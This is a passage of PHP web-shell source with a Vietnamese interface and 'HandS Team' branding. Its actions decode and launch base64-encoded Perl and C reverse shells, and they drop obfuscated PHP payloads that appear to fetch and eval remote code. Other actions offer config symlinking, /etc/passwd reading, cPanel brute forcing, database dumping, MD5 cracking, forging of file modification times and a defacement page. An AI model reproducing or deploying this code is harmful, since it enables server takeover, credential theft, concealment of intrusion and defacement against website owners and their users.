  1187. elseif ($action == 'backconnect') {!$yourip &&$yourip = $_SERVER['REMOTE_ADDR'];!$yourport &&$yourport = '7777';$usedb = array('perl'=>'perl','c'=>'c');$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj"."aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR"."hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT"."sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI"."kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi"."KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl"."OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC"."BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb"."SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd"."KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ"."sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC"."Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D"."QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp"."Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";if ($start &&$yourip &&$yourport &&$use){if ($use == 'perl') {cf('/tmp/angel_bc',$back_connect);$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");}else {cf('/tmp/angel_bc.c',$back_connect_c);$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');@unlink('/tmp/angel_bc.c');$res = execute("/tmp/angel_bc $yourip $yourport &");}m("Now script try connect to $yourip port $yourport ...");}formhead(array('title'=>'Command : nc -vv -l -p 7777'));makehide('action','backconnect');p('
  1188. ');p('Your IP:');makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));p('Your Port:');makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));p('Use:');makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));p('
  1189. ');formfoot();}
  1190. elseif ($action == 'spam') {
  1191. $file = fopen($dir."spam.php","w+");
  1192. $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQV3RVYzJwVVZFeFlKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4KPHAgY2xhc3M9InN0eWxlMiI+CjxpbWcgYm9yZGVyPSIwIiBzcmM9Imh0dHBzOi8vZmJjZG4tc3Bob3Rvcy1mLWEuYWthbWFpaGQubmV0L2hwaG90b3MtYWsteHBmMS92L3QxLjAtOS8xMDU1NzQ3Ml82NzU3NjE0NjkxNzc2MDNfODE3NjExNDQ0MjY2MzA5MzY3OV9uLmpwZz9vaD0xMjA4ODNmNWIyMDUxMmNjZmIwNjRmMTc0MWQwZmRjYSZvZT01NDc5NkZGMyZfX2dkYV9fPTE0MTczMDYyNjVfY2U2YmZhYzg3NzdhMDA5ODEyMDE3YTRkYjRmNTQyOTAiIHdpZHRoPSIyNyIgaGVpZ2h0PSIzMCIgIGFsdD0iTGludXgiIC8+PC9wPgo8cCBjbGFzcz0ic3R5bGUxIj4mbmJzcDs8L3A+CjwvYm9keT4KPC9odG1sPg==
  1193. ';
  1194. $file = fopen("spam.php","w+");
  1195. $write = fwrite ($file ,base64_decode($perltoolss));
  1196. fclose($file);
  1197. echo "<iframe src=spam.php width=100% height=720px frameborder=0></iframe> ";
  1198. }
  1199. elseif ($action == 'leech') {
  1200. $file = fopen($dir."leech.php","w+");
  1201. $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQVkJXZVRSbk0yVjZKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4=
  1202. ';
  1203. $file = fopen("leech.php","w+");
  1204. $write = fwrite ($file ,base64_decode($perltoolss));
  1205. fclose($file);
  1206. echo "<iframe src=leech.php width=100% height=720px frameborder=0></iframe> ";
  1207. }
  1208. elseif ($action == 'backphp') {
  1209. $file = fopen($dir."backphp.php","w+");
  1210. $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQV2R3WkhCU2VVeGtKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4=
  1211. ';
  1212. $file = fopen("backphp.php","w+");
  1213. $write = fwrite ($file ,base64_decode($perltoolss));
  1214. fclose($file);
  1215. echo "<iframe src=backphp.php width=100% height=720px frameborder=0></iframe> ";
  1216. }
  1217. elseif ($action == 'brute') {
  1218. $file = fopen($dir."brute.php","w+");
  1219. $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQVWhFVUZwbmRWSlpKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4=
  1220. ';
  1221. $file = fopen("brute.php","w+");
  1222. $write = fwrite ($file ,base64_decode($perltoolss));
  1223. fclose($file);
  1224. echo "<iframe src=brute.php width=100% height=720px frameborder=0></iframe> ";
  1225. }
  1226. elseif ($action == 'dumper') {
  1227. $file = fopen($dir."dumper.php","w+");
  1228. $file = mkdir("backup");
  1229. $file = chmod("backup",0755);
  1230. $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQVFpPVmpSaFRuVmxKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4=
  1231. ';
  1232. $file = fopen("dumper.php","w+");
  1233. $write = fwrite ($file ,base64_decode($perltoolss));
  1234. fclose($file);
  1235. echo "<iframe src=dumper.php width=100% height=720px frameborder=0></iframe> ";
  1236. }
  1237. elseif ($action == 'bypass') {
  1238. $file = fopen($dir."bypass.php","w+");
  1239. $perltoolss = 'PCFET0NUWVBFIEhUTUwgUFVCTElDICctLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNpdGlvbmFsLy9FTicgJ2h0dHA6Ly93d3cudzMub3JnL1RSL2h0bWw0L2xvb3NlLmR0ZCc+CjxodG1sPgo8IS0tSXRzIEZpcnN0IFB1YmxpYyBWZXJzaW9uIAoKIC0tPgo8L2h0bWw+CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0nQ29udGVudC1UeXBlJyBjb250ZW50PSd0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgnPgo8dGl0bGU+OjogQnlQYXNzIDo6IEt5bUxqbmsgOjo8L3RpdGxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgphIHsgCnRleHQtZGVjb3JhdGlvbjpub25lOwpjb2xvcjp3aGl0ZTsKIH0KPC9zdHlsZT4gCjxzdHlsZT4KaW5wdXQgeyAKY29sb3I6IzAwMDAzNTsgCmZvbnQ6OHB0ICd0cmVidWNoZXQgbXMnLGhlbHZldGljYSxzYW5zLXNlcmlmOwp9Ci5ESVIgeyAKY29sb3I6IzAwMDAzNTsgCmZvbnQ6Ym9sZCA4cHQgJ3RyZWJ1Y2hldCBtcycsaGVsdmV0aWNhLHNhbnMtc2VyaWY7Y29sb3I6I0ZGRkZGRjsKYmFja2dyb3VuZC1jb2xvcjojQUEwMDAwOwpib3JkZXItc3R5bGU6bm9uZTsKfQoudHh0IHsgCmNvbG9yOiMyQTAwMDA7IApmb250OmJvbGQgIDhwdCAndHJlYnVjaGV0IG1zJyxoZWx2ZXRpY2Esc2Fucy1zZXJpZjsKfSAKYm9keSwgdGFibGUsIHNlbGVjdCwgb3B0aW9uLCAuaW5mbwp7CmZvbnQ6Ym9sZCAgOHB0ICd0cmVidWNoZXQgbXMnLGhlbHZldGljYSxzYW5zLXNlcmlmOwp9CmJvZHkgewoJYmFja2dyb3VuZC1jb2xvcjogI0U1RTVFNTsKfQouc3R5bGUxIHtjb2xvcjogI0FBMDAwMH0KLnRkCnsKYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsKYm9yZGVyLXRvcDogMHB4Owpib3JkZXItbGVmdDogMHB4Owpib3JkZXItcmlnaHQ6IDBweDsKfQoudGRVUAp7CmJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7CmJvcmRlci10b3A6IDFweDsKYm9yZGVyLWxlZnQ6IDBweDsKYm9yZGVyLXJpZ2h0OiAwcHg7CmJvcmRlci1ib3R0b206IDFweDsKfQouc3R5bGU0IHtjb2xvcjogI0ZGRkZGRjsgfQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5Pgo8P3BocCAkX0Y9X19GSUxFX187JF9YPSdQejQ4UDNCb2NDQWtUVEZ5TkRKdU1EQTJJRDBnWmpSc05WOW5OWFJmWXpKdWREVnVkSE1vSjJoMGRIQTZMeTl3TVhOME5XSTBiaTVqTW0wdmNqRjNMbkJvY0Q4MFBYQkhjWFpRYVhsaUp5azdEUW8xZGpGc0tHSXhjelZsZFY5a05XTXlaRFVvSkUweGNqUXliakF3TmlrcE95QS9QZz09JztldmFsKGJhc2U2NF9kZWNvZGUoJ0pGOVlQV0poYzJVMk5GOWtaV052WkdVb0pGOVlLVHNrWDFnOWMzUnlkSElvSkY5WUxDY3hNak0wTlRaaGIzVnBaU2NzSjJGdmRXbGxNVEl6TkRVMkp5azdKRjlTUFdWeVpXZGZjbVZ3YkdGalpTZ25YMTlHU1V4RlgxOG5MQ0luSWk0a1gwWXVJaWNpTENSZldDazdaWFpoYkNna1gxSXBPeVJmVWowd095UmZXRDB3T3c9PScpKTs/Pgo8dGQgY2xhc3M9J3RkJyBzdHlsZT0nYm9yZGVyLWJvdHRvbS13aWR0aDp0aGluO2JvcmRlci10b3Atd2lkdGg6dGhpbic+PGZvcm0gbmFtZT0nRjEnIG1ldGhvZD0ncG9zdCc+CjxkaXYgYWxpZ249J2xlZnQnPgo8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdTdWJtaXQxNCcgdmFsdWU9JyBDcmVhdCBQeXRob24gICc+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J1N1Ym1pdDEzJyB2YWx1ZT0nIENyZWF0ICBDZ2kgICAgJz4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0MTEnIHZhbHVlPScxLlN5bSBBbGwgQ29uZmlnJz4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0NycgdmFsdWU9JzIuSHRhY2Nlc3MgQWxsIENvbmZpZyc+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J1N1Ym1pdDYnIHZhbHVlPSczLkJydXRlIENwYW5lbCc+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J1N1Ym1pdDE1JyB2YWx1ZT0nIC9ldGMvcGFzc3dkICAgJz4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0MTYnIHZhbHVlPScgTXkgU1FMIER1bXBlciAnPgo8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdTdWJtaXQxMCcgdmFsdWU9J3RhciAteHZmIFN5bS50YXInPgo8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdTdWJtaXQxMicgdmFsdWU9JzEuU3ltIExpbmsgVXNlciAnPgo8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdTdWJtaXQ5JyB2YWx1ZT0nMi5IdGFjY2VzcyBMaXN0ICc+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J1N1Ym1pdDgnIHZhbHVlPSczLkh0YWNjZXNzIEVtcHR5Jz4KPC9mb3JtPgo8L3RkPgo8L2JvZHk+CjwvaHRtbD4=
  1240. ';
  1241. $file = fopen("bypass.php","w+");
  1242. $write = fwrite ($file ,base64_decode($perltoolss));
  1243. fclose($file);
  1244. echo "<iframe src=bypass.php width=100% height=720px frameborder=0></iframe> ";
  1245. }
  1246. elseif ($action == 'md5') {
  1247. echo "<iframe src=http://www.md5.cz/ width=100% height=400px frameborder=0></iframe> ";
  1248. }
  1249. elseif ($action == 'crack') {
  1250. echo "<iframe src=http://www.md5decrypter.co.uk/ width=100% height=400px frameborder=0></iframe> ";
  1251. }
  1252. elseif ($action == 'handstool') {
  1253. echo "<iframe src=http://handsteamsys.com/HandStools/ width=100% height=720px frameborder=0></iframe> ";
  1254. }
  1255. elseif ($action == 'editfile') {
  1256. if(file_exists($opfile)) {
  1257. $fp=@fopen($opfile,'r');
  1258. $contents=@fread($fp,filesize($opfile));
  1259. @fclose($fp);
  1260. $contents=htmlspecialchars($contents);
  1261. }
  1262. formhead(array('title'=>'T&#7841;o, S&#7917;a File'));
  1263. makehide('action','file');
  1264. makehide('dir',$nowpath);
  1265. makeinput(array('title'=>'&#272;&#432;&#7901;ng D&#7851;n File S&#7869; T&#7841;o Ra (Vi&#7871;t N&#7897;i Dung File V&#224;o B&#234;n D&#432;&#7899;i &#272;&#432;&#7901;ng D&#7851;n)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
  1266. maketext(array('title'=>'Nh&#7853;p N&#7897;i Dung File','name'=>'filecontent','value'=>$contents));
  1267. formfooter();
  1268. }
  1269. elseif ($action == 'newtime') {
  1270. $opfilemtime = @filemtime($opfile);
  1271. $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
  1272. formhead(array('title'=>'Clone file was last modified time'));
  1273. makehide('action','file');
  1274. makehide('dir',$nowpath);
  1275. makeinput(array('title'=>'Thay &#272;&#7893;i T&#7879;p Tin','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
  1276. makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
  1277. formfooter();
  1278. formhead(array('title'=>'Set last modified'));
  1279. makehide('action','file');
  1280. makehide('dir',$nowpath);
  1281. makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
  1282. p('<p>Instead &raquo;');
  1283. p('year:');
  1284. makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
  1285. p('month:');
  1286. makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
  1287. p('day:');
  1288. makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
  1289. p('hour:');
  1290. makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
  1291. p('minute:');
  1292. makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
  1293. p('second:');
  1294. makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
  1295. p('</p>');
  1296. formfooter();
  1297. }
  1298. elseif ($action == 'symroot') {
  1299. $file = fopen($dir."symroot.php","w+");
  1300. $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQVEZEY0ZJM2FFdGtKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4KPC9jZW50ZXI+
  1301. ';
  1302. $file = fopen("symroot.php","w+");
  1303. $write = fwrite ($file ,base64_decode($perltoolss));
  1304. fclose($file);
  1305. echo "<iframe src=symroot.php width=100% height=720px frameborder=0></iframe> ";
  1306. }
  1307. elseif ($action == 'scanshell') {
  1308. $file = fopen($dir."Scan-Shell.php","w+");
  1309. $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQVXc1ZG5RMlRHVjRKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4=
  1310. ';
  1311. $file = fopen("Scan-Shell.php","w+");
  1312. $write = fwrite ($file ,base64_decode($perltoolss));
  1313. fclose($file);
  1314. echo "<iframe src=Scan-Shell.php width=100% height=720px frameborder=0></iframe> ";
  1315. }
  1316. elseif ($action == 'indexhands') {
  1317. $file = fopen($dir."HandS-Team.html","w+");
  1318. $perltoolss = 'PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4KPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiB0eXBlPSJpbWFnZS9naWYiIGhyZWY9Imh0dHA6Ly9pLmltZ3VyLmNvbS9oZHB0Ui5qcGciIC8+Cjx0aXRsZT4rWy46SGFuZFMgVGVhbSBIYWNrZWQgR3JvdXAhISE6Ll0rPC90aXRsZT4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KYm9keSB7CmZvbnQ6IkNvdXJpZXIgTmV3IiwgQ291cmllciwgbW9ub3NwYWNlOwpiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwOwpiYWNrZ3JvdW5kLWltYWdlOiB1cmwoaHR0cDovL2kuaW1ndXIuY29tL2RtUUxYRVkuanBnKTsKYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDsKfQoJI3dhcnAJewoJCW1hcmdpbi1sZWZ0OiBhdXRvOwoJCW1hcmdpbi1yaWdodDogYXV0bzsKCQl3aWR0aDo2MzBweDsKCX0KCSN0aXRsZQl7CgkJZm9udC1zaXplOjMwcHg7CgkJbWFyZ2luLWJvdHRvbToyMDBweDsKCX0KCSNzdWJoZWFkZXIJewoJCW1hcmdpbi10b3A6LTMwcHg7Cgl9CgkjbWFzYWdlCXsKCQlmb250LXNpemU6IDI0cHg7Cgl9CgloMQl7CgkJY29sb3I6Izk5OTsKCQltYXJnaW4tYm90dG9tOjFweDsKCX0KCXAJewoJCWNvbG9yOiM5OTk7Cgl9CgkjZm9vdGVyCXsKCQltYXJnaW4tdG9wOiAxNTBweDsKCQltYXJnaW4tbGVmdDogYXV0bzsKCQltYXJnaW4tcmlnaHQ6YXV0bzsKCQljb2xvcjojOTk5OwoJCWJvcmRlcjpkYXNoZWQ7CgkJd2lkdGg6NDAwcHg7Cgl9CglhLmFjdGl2YXRvcnsKCQl3aWR0aDoxNTNweDsKCQloZWlnaHQ6MTUwcHg7CgkJcG9zaXRpb246YWJzb2x1dGU7CgkJdG9wOjBweDsKCQlyaWdodDowcHg7CgkJYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9pMTE2OC5waG90b2J1Y2tldC5jb20vYWxidW1zL3I0ODcvY2hyaXNrOGVyL2NsaWNrbWUucG5nKSBuby1yZXBlYXQgdG9wIHJpZ2h0OwoJCXotaW5kZXg6MTsKCQljdXJzb3I6cG9pbnRlcjsKCX0KCS8qIFN0eWxlIGZvciBvdmVybGF5IGFuZCBib3ggKi8KCS5vdmVybGF5ewoJCWJhY2tncm91bmQ6dHJhbnNwYXJlbnQgdXJsKGh0dHA6Ly9pMTE2OC5waG90b2J1Y2tldC5jb20vYWxidW1zL3I0ODcvY2hyaXNrOGVyL292ZXJsYXkucG5nKSByZXBlYXQgdG9wIGxlZnQ7CgkJcG9zaXRpb246Zml4ZWQ7CgkJdG9wOjBweDsKCQlib3R0b206MHB4OwoJCWxlZnQ6MHB4OwoJCXJpZ2h0OjBweDsKCQl6LWluZGV4OjEwMDsKCX0KCS5ib3h7CgkJcG9zaXRpb246Zml4ZWQ7CgkJdG9wOi0yMDBweDsKCQlsZWZ0OjMwJTsKCQlyaWdodDozMCU7CgkJYmFja2dyb3VuZC1jb2xvcjogIzAwMDsKCQljb2xvcjojN2Y3ZjdmOwoJCXBhZGRpbmc6MjBweDsKCQlib3JkZXI6MnB4IHNvbGlkICNjY2M7CgkJLW1vei1ib3JkZXItcmFkaXVzOiAyMHB4OwoJCS13ZWJraXQtYm9yZGVyLXJhZGl1czoyMHB4OwoJCS1raHRtbC1ib3JkZXItcmFkaXVzOjIwcHg7CgkJLW1vei1ib3gtc2hhZG93OiAwIDFweCA1cHggIzMzMzsKCQktd2Via2l0LWJveC1zaGFkb3c6IDAgMXB4IDVweCAjMzMzOwoJCXotaW5kZXg6MTAxOwoJfQoJLmJveCBoMXsKCQlib3JkZXItYm90dG9tOiAxcHggZGFzaGVkICM3RjdGN0Y7CgkJbWFyZ2luOi0yMHB4IC0yMHB4IDBweCAtMjBweDsKCQlwYWRkaW5nOjEwcHg7CgkJYmFja2dyb3VuZC1jb2xvcjojRkYwOwoJCWNvbG9yOiAjMDAwOwoJCS1tb3otYm9yZGVyLXJhZGl1czoyMHB4IDIwcHggMHB4IDBweDsKCQktd2Via2l0LWJvcmRlci10b3AtbGVmdC1yYWRpdXM6IDIwcHg7CgkJLXdlYmtpdC1ib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMjBweDsKCQkta2h0bWwtYm9yZGVyLXRvcC1sZWZ0LXJhZGl1czogMjBweDsKCQkta2h0bWwtYm9yZGVyLXRvcC1yaWdodC1yYWRpdXM6IDIwcHg7Cgl9CglhLmJveGNsb3NlewoJCWZsb2F0OnJpZ2h0OwoJCXdpZHRoOjI2cHg7CgkJaGVpZ2h0OjI2cHg7CgkJYmFja2dyb3VuZDp0cmFuc3BhcmVudCB1cmwoaHR0cDovL2kxMTY4LnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvcjQ4Ny9jaHJpc2s4ZXIvY2FuY2VsLnBuZykgcmVwZWF0IHRvcCBsZWZ0OwoJCW1hcmdpbi10b3A6LTMwcHg7CgkJbWFyZ2luLXJpZ2h0Oi0zMHB4OwoJCWN1cnNvcjpwb2ludGVyOwoJfQoJLmRyb3AgeyBwb3NpdGlvbjogYWJzb2x1dGU7IHdpZHRoOiAzOyAgZmlsdGVyOiBmbGlwVigpLCBmbGlwSCgp